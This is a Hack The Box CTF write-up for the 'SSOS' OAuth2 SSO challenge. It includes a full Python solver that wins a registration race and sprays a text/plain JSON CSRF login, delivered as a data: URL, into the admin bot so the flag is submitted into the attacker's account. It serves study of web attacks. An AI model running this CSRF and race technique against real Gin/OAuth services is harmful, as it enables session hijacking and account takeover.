SSOS
hackthebox
Task: HTB-style OAuth2 SSO web app (nginx + Express/passport client + Go/Gin provider) with a teacher Puppeteer bot that submits the flag at startup. Solution: win a registration race for the fixed student account, then use a text/plain JSON CSRF (Gin ShouldBindJSON ignores Content-Type) delivered via the bot's /submit-url to swap the shared cookie jar's SSO token to our session, so the bot submits the flag into our own account.
$ ls tags/ techniques/
SSOS — Hack The Box
Description
Homework? Never heard of her. Let's dance.
A single-domain education platform protected by an OAuth2 SSO provider:
nginx(internal port1337, mapped to a random external port per instance) routes byHostheader.edulearn.htb→ Express client app (Node.js, EJS,passport-oauth2) on127.0.0.1:3000.sso.edulearn.htb→ Go/Gin OAuth2 SSO provider on127.0.0.1:3002.- Default server
302-redirects unknown hosts toedulearn.htb(preserving port).
- A Puppeteer "teacher bot" (
puppeteer-core, HeadlessChrome 130) runs inside the container, resolves both hosts to127.0.0.1, and has no useful external egress. - All secrets (
JWT_SECRET,CLIENT_SECRET,SESSION_SECRET, teacher/student passwords) are generated per-container withopenssl rand— not guessable or forgeable.
Goal: read the real flag, which the bot submits into a student assignment once at container startup.
Analysis
Bot behavior (bot/index.js initialSetup(), runs ONCE at startup)
The bot drives a single Puppeteer browser whose pages all share one cookie jar. At startup it executes, in order:
loginUser(teacher, teacherPw)— SSO login form (sets SSOtokencookie = teacher).loginSSO(teacher)— OAuth authorize, sets the client session = teacher.createAssignment×3 — as teacher.registerUser([email protected], STUDENT_PASSWORD)— random password.loginUser(student, STUDENT_PASSWORD)— SSO login form.loginSSO(student, STUDENT_PASSWORD)— CRITICAL BUG: this function ignores its email/password parameters and authorizes using whatevertokencookie is currently in the shared browser jar.submitFlagToAssignment()— typesprocess.env.FLAGinto the first assignment's submission textarea, submitting as the current client-session user.loginUser(teacher)+loginSSO(teacher)— restore teacher.
Additionally the bot exposes POST /visit-url {url}. The client's POST /submit-url forwards a user-supplied URL to the bot, which does page.goto(url) and waits 10s. This is the only attacker-triggered bot action, and during it the bot is logged into the client as teacher and uses the same shared cookie jar.
Client app (Express) key facts
- Submissions are stored in memory;
author = req.user.email(from OAuth userinfo). GET /submission/:idis allowed only ifsubmission.author.email === req.user.emailORreq.user.role === "teacher".- Content is rendered raw via EJS
<%- %>but sanitized withsanitize-html2.17.4 (allowedTags: img,h3,p,strong,em,ul,li,br,code,pre;img:[src,alt]). Robust — no XSS (verified live:<svg/onload>,<script>,onerror,<img/src=x/onerror>all neutralized). No CSP, noX-Frame-Options. connect.sidcookie:Path=/; HttpOnlywith noSameSite→ Chrome treats it as Lax (cross-site top-level GET sends it; cross-site POST/fetch/iframe do not).- The server-side OAuth token exchange is done by passport using
CLIENT_SECRET;/oauth/callbackexchanges whatever?codeis present and sets the session to that code's owner.
SSO provider (Go/Gin) key facts
/api/register,/api/loginusec.ShouldBindJSON(&input), which parses the request BODY as JSON ignoring Content-Type. Login sets cookietoken(JWT HS256),Path=/,HttpOnly, noSameSite./oauth/authorize,/oauth/tokenare behind a JWT-tokenauth middleware./oauth/userinfoneeds only a Bearer access token (returns name/email/role from the DB user).validateRedirectURI(provided, registered, requestHost)requires: scheme match,providedURL.PathHasPrefixregisteredURL.Path(/oauth/callback),provided port == request Host port, andprovidedURL.Hostname() == "edulearn.htb". Verified live: path-traversal redirect_uris (/oauth/callback/../submission/1, backslash variants,/oauth/callbackZZZ) all PASS (302 with?code=appended unencoded), but any non-edulearn.htbhost → 400. So there is no host bypass./oauth/tokenhas a GORM placeholder bug (4 placeholders, 5 args; theredirect_uriarg is silently ignored), soredirect_uriis not validated at token exchange — but exchange still requiresclient_secret(random), so attackers cannot exchange codes themselves.- Registration role is hardcoded
"student". No password-change/account-update endpoint.
Dead paths (do NOT waste time on these)
- OAuth authorization-code theft (DevRelay/GateKeeper style): the code always lands on
edulearn.htbin the bot's browser (host bypass = 400), there is no same-origin store to read it, no XSS to read it, and exchange needsclient_secret. Dead. - XSS for same-origin exfil:
sanitize-html2.17.4 is robust; all raw sinks are fed sanitized/escaped/hardcoded data. Dead. - JWT forge / token mint / password guess: all secrets are
openssl-random. Dead. - Reading the flag on an already-running instance: we are neither the author (student has a random pw) nor a teacher; the bot can't be made to exfil flag content (GET-only, no write-back). Dead.
- Naive startup registration race ALONE: if we pre-register student with our pw, the bot's
loginUser(student)fails so its cookie stays teacher and the flag is submitted as teacher (unreadable). The race must be combined with the cookie swap. Dead on its own.
Root causes that the working exploit chains
loginSSO()parameter confusion — ignores its credential args and authorizes using the current sharedtokencookie. If we can plant ourtokencookie in the bot's jar, the bot OAuths as us.- Gin
ShouldBindJSONContent-Type confusion — lets us mount a cross-sitetext/plainform login (no CORS preflight, no JSON Content-Type needed) into the bot. - Missing
SameSiteon the SSOtokencookie — the cross-site login response'sSet-Cookieis accepted by the bot's browser. - Startup registration race — by owning
[email protected]we make the bot's ownloginUser(student)fail, so it cannot override our planted cookie before step 6.
Solution
The flag is submitted into whichever account is the client session at bot step 7. We make that account ours by swapping the shared SSO token cookie just before step 6.
Step-by-step (must hit a FRESH instance within ~15s of spawn)
- Win the registration race. The instant the SSO is reachable, hammer
POST /api/registerfor[email protected]with our password (KnownPass123!). The bot reaches its ownregisterUser(student)~15–20s after the SSO is up; if we register first, the bot's register +loginUser(student)both fail and its cookie stays teacher (we fix that with the swap). - Establish a client session + OAuth approval for
[email protected]so the bot's laterloginSSOauto-redirects, and use that session to drive/submit-url. - Wait for the 3 teacher assignments to appear (teacher phase done) so the cookie swap doesn't disrupt assignment creation.
- Spray
POST /submit-urlwith adata:text/htmlURL whose form performs atext/plainCSRF login tohttp://sso.edulearn.htb:1337/api/loginas[email protected]. The botpage.goto()s thedata:URL, auto-submits the form, and the response overwrites the shared SSOtokencookie with our student session.text/plainJSON CSRF trick: since Gin parses the raw body as JSON regardless of Content-Type, use one form input whose name is the JSON prefix and whose value is"}, so thename=valuetext/plain serialization is valid JSON:{"email":"[email protected]","password":"KnownPass123!","x":"="}- Because we own
[email protected], the bot's ownloginUser(student)(random pw) fails and cannot override our cookie — the swap is robust through step 6.
- The bot's
loginSSO(student)(ignoring params) authorizes using our student cookie → client session = our student. submitFlagToAssignment()writes the FLAG into our[email protected]account.- Log in as
[email protected] / KnownPass123!and readGET /submission/<id>(we are the author). Flag landed at submission1780086506437on assignment1780086364360(author"S").
The exact data: URL / CSRF payload
import urllib.parse INTERNAL_PORT = "1337" # bot resolves hosts to 127.0.0.1, internal nginx port def csrf_data_url(email, pw): # input NAME is the JSON prefix; input VALUE is '"}' so the # text/plain "name=value" body becomes valid JSON for Gin's ShouldBindJSON name = '{"email":"%s","password":"%s","x":"' % (email, pw) html = ( '<form id=f method=POST enctype="text/plain" ' f'action="http://sso.edulearn.htb:{INTERNAL_PORT}/api/login">' "<input name='" + name + "' value='\"}'>" '</form><script>document.getElementById("f").submit()</script>' ) return "data:text/html," + urllib.parse.quote(html, safe="")
Pitfall (fixed vs an earlier broken script): the CSRF must use
enctype="text/plain"with the JSON-name trick, not url-encoded form data, because Gin'sShouldBindJSONrequires a raw JSON body.
Full working solver
#!/usr/bin/env python3 """SSOS startup cookie-swap exploit. Run within ~15s of a FRESH instance spawn. Usage: python3 race_v2.py <ip> <external_port>""" import sys, re, time, threading, urllib.parse, requests from concurrent.futures import ThreadPoolExecutor CID = "1a2abb8b-9bb5-4463-8f74-d7b129bb7040" STU_EMAIL = "[email protected]" PW = "KnownPass123!" FB_EMAIL = "[email protected]" # fallback if we lose the registration race FLAG_RE = re.compile(r"HTB\{[^}\s]+\}") INTERNAL_PORT = "1337" IP, PORT = sys.argv[1], sys.argv[2] BASE = f"http://{IP}:{PORT}" def log(m): print(f"[+] {m}", flush=True) def warn(m): print(f"[!] {m}", flush=True) def mkreq(session): def req(host, path, method="GET", **kw): h = kw.pop("headers", {}); h.setdefault("Host", f"{host}:{PORT}") return session.request(method, BASE + path, headers=h, allow_redirects=False, timeout=20, **kw) return req def csrf_data_url(email, pw): name = '{"email":"%s","password":"%s","x":"' % (email, pw) html = ( '<form id=f method=POST enctype="text/plain" ' f'action="http://sso.edulearn.htb:{INTERNAL_PORT}/api/login">' "<input name='" + name + "' value='\"}'>" '</form><script>document.getElementById("f").submit()</script>' ) return "data:text/html," + urllib.parse.quote(html, safe="") def register(email, pw, name): s = requests.Session(); req = mkreq(s) try: return req("sso.edulearn.htb", "/api/register", method="POST", headers={"Content-Type": "application/json"}, json={"email": email, "password": pw, "name": name}) except requests.RequestException: return None def establish_client_session(email, pw): """Hold a client connect.sid and create the OAuth approval so the bot's later loginSSO auto-redirects.""" s = requests.Session(); req = mkreq(s) r = req("sso.edulearn.htb", "/api/login", method="POST", headers={"Content-Type": "application/json"}, json={"email": email, "password": pw}) if not r.ok: return None r = req("edulearn.htb", "/auth") p = urllib.parse.urlparse(r.headers.get("Location", "")) r = req("sso.edulearn.htb", p.path + ("?" + p.query if p.query else "")) if r.status_code in (302, 303): cb = r.headers.get("Location", "") else: r = req("sso.edulearn.htb", "/oauth/authorize", method="POST", data={"client_id": CID, "scope": "email name", "redirect_uri": f"http://edulearn.htb:{PORT}/oauth/callback", "state": "", "approved": "true"}) cb = r.headers.get("Location", "") c = urllib.parse.urlparse(cb) req("edulearn.htb", c.path + ("?" + c.query if c.query else "")) return s def count_assignments(sess): req = mkreq(sess) try: r = req("edulearn.htb", "/") return sorted(set(re.findall(r"/assignment/(\d+)", r.text))) except requests.RequestException: return [] def find_flag(email, pw): s = establish_client_session(email, pw) if not s: return None req = mkreq(s) r = req("edulearn.htb", "/") pages = set(re.findall(r"/submission/(\d+)", r.text)) for aid in re.findall(r"/assignment/(\d+)", r.text): ra = req("edulearn.htb", f"/assignment/{aid}") pages |= set(re.findall(r"/submission/(\d+)", ra.text)) m = FLAG_RE.search(ra.text) if m: return m.group(0) for sid in pages: rs = req("edulearn.htb", f"/submission/{sid}") m = FLAG_RE.search(rs.text) if m: return m.group(0) return None STOP = threading.Event() def spray_worker(spray_sess, data_url): req = mkreq(spray_sess) body = urllib.parse.urlencode({"url": data_url}) while not STOP.is_set(): try: req("edulearn.htb", "/submit-url", method="POST", headers={"Content-Type": "application/x-www-form-urlencoded"}, data=body) except requests.RequestException: pass def main(): log(f"target {IP}:{PORT}") # Phase 0: win the [email protected] registration race. log("Phase 0: hammering student registration (concurrent)...") won = threading.Event(); lost = threading.Event() def reg_hammer(): end = time.time() + 45 while time.time() < end and not won.is_set() and not lost.is_set(): r = register(STU_EMAIL, PW, "S") if r is None: time.sleep(0.03); continue if r.status_code == 200: won.set(); return if r.status_code == 500 or "Failed to create user" in r.text or "exist" in r.text.lower(): lost.set(); return time.sleep(0.03) hammers = [threading.Thread(target=reg_hammer, daemon=True) for _ in range(12)] for h in hammers: h.start() while not won.is_set() and not lost.is_set() and any(h.is_alive() for h in hammers): time.sleep(0.05) won = won.is_set() log("WON registration race" if won else "LOST registration race") target_email, target_pw = (STU_EMAIL, PW) if not won: register(FB_EMAIL, PW, "FB"); target_email = FB_EMAIL warn(f"Falling back to swap-to-self target={target_email}") # Phase 1: client session + approval (also used to spray /submit-url). log(f"Phase 1: establishing client session + approval for {target_email}") spray_sess = None for _ in range(40): spray_sess = establish_client_session(target_email, PW) if spray_sess: break time.sleep(0.25) data_url = csrf_data_url(target_email, PW) # Phase 2: wait for the teacher phase (3 assignments visible). log("Phase 2: waiting for 3 assignments...") t2 = time.time() + 90 while time.time() < t2: aids = count_assignments(spray_sess) if spray_sess else [] if len(aids) >= 3: log(f"assignments present: {aids}"); break time.sleep(0.5) # Phase 3: spray the CSRF cookie-swap into the bot's browser. log("Phase 3: spraying CSRF cookie-swap via /submit-url ...") pool = ThreadPoolExecutor(max_workers=8) for _ in range(6): ss = establish_client_session(target_email, PW) or spray_sess if ss: pool.submit(spray_worker, ss, data_url) # Phase 4: poll the target account for the flag. log("Phase 4: polling target account for the flag...") t4 = time.time() + 120; flag = None while time.time() < t4: try: flag = find_flag(target_email, PW) except Exception: flag = None if flag: break time.sleep(1.5) STOP.set() log(f"FLAG: {flag}") if flag else warn("no flag (missed window or lost race)") if __name__ == "__main__": main()
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [web][Pro]Lab 35 — GateKeeper SSO — Open Redirect via Regex URI Validation— hackadvisor
- [web][free]Secure Secretpickle— gpnctf
- [web][Pro]YOFA 2.0— bug-makers
- [web][Pro]Lab 66 — GrowthPilot — Stored XSS via User Registration— hackadvisor
- [web][Pro]Board of Secrets Revenge— miptctf